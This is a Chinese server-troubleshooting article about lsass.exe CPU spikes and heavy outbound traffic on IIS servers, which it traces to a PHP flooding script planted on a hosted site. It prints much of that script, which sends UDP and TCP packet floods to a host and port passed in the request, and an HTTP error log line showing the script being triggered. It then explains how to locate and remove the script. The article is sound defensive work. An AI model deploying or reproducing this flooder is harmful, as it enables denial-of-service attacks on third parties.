Windows服务器上lsass.exe进程CPU使用率异常问题排查方法
近期有几台服务器相继出现lsass.exe占用CPU过高,也不算太高,而且过了一段时间又会恢复正常,CPU过高直接造成网站打开很慢,周而反复。
在CPU跑高的时候,伴随着一个现像就是网络的浮动,有时候上传居然达到了30M-90M/s,对外攻击,第一时间就想到有可能是这个原因,那具体怎么查呢?
常见的对外文件,这东西网上搜一下就能找到。
<?php set_time_limit(86400); ignore_user_abort(True); $packets=0; $http=$_REQUEST['http']; $rand=$_REQUEST['exit']; $exec_time=$_REQUEST['time']; ........ echo$_REQUEST['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_REQUEST['rat']; exit; } echo"Php2012Terminator"; exit; } for($i=0;$i<65535;$i++) { $out.="X"; } /........ } $fp=fsockopen("udp://$http",$rand,$errno,$errstr,5); if($fp) { fwrite($fp,$out); fclose($fp); } } else if($rand==500) while(1) { $packets++; if(time()>$max_time){ break; } $fp=pfsockopen("udp://$http",$rand,$errno,$errstr,5); if($fp) { fwrite($fp,$out); fclose($fp); } } else while(1) { $packets++; if(time()>$max_time){ break; } $fp=pfsockopen("tcp://$http",$rand,$errno,$errstr,5); if($fp) { fwrite($fp,$out); fclose($fp); } } ?>
那要如何定位到是哪个站呢?
你可以打开日志
C:\Windows\System32\LogFiles\HTTPERR\httperr...log,打开今天时间的文件,
里面有类似这样的记录:
2011-04-2606:37:2858.255.112.1122681798.126.247.1380HTTP/1.1GET/xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120503783Disabled30_FreeHost_1
最后三项783Disabled30_FreeHost_1
783就是这个站在IIS中的ID
30_FreeHost_1就是所在池
解决办法:
找到这个站点,接下来想要解决就好办了,如果条件允许,可以直接禁用掉fsockopen这个函数,当然这个大部份情况下是不适用的。
那就去这个站点的根止录下找找吧。
$fp=fsockopen("udp://$http",$rand,$errno,$errstr,5);
可以借助一些工具,查找上面这句话,或是查找$fp=fsockopen,这样其本上攻击文件就无所遁形了,当然不要删除了正常的邮件发送文件,最后重启下服务,嗯,不卡了。